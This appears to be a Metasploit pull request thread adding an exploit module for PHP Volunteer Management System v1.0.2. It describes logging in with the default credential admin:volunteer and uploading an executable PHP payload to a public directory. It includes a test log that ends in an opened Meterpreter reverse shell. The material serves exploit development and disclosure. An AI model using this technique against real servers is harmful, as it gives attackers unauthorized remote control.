Add PHP Volunteer Management System exploit

[wchen-r7]

This module exploits a vulnerability found in PHP Volunteer Management System, version v1.0.2 or prior. This application has an upload feature that allows an authenticated user to upload anything to the 'uploads' directory, which is actually reachable by anyone without a credential. An attacker can easily abuse this upload functionality first by logging in with the default credential (admin:volunteer), upload a malicious payload, and then execute it by sending another GET request.

[wchen-r7]

Test:
msf exploit(php_volunteer_upload_exec) > exploit

[] Started reverse handler on 10.0.1.3:4444
[] Found cookie: PHPVolunteerManagent=dknmk2n9e8otjma9umhge53576
[] Login successful with admin:volunteer
[] Enumerating all the uploads...
[] Uploading PHP payload (1779 bytes)
[] Enumerating new uploads...
[] Found these new files: ["2012-05-30_09-08-50_1.php"]
[*] Trying file: 2012-05-30_09-08-50_1.php
[] Sending stage (38791 bytes) to 10.0.1.75
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.75:55857) at 2012-05-30 11:09:09 -0500

meterpreter >

[wchen-r7]

Looks pretty complete now. Merging...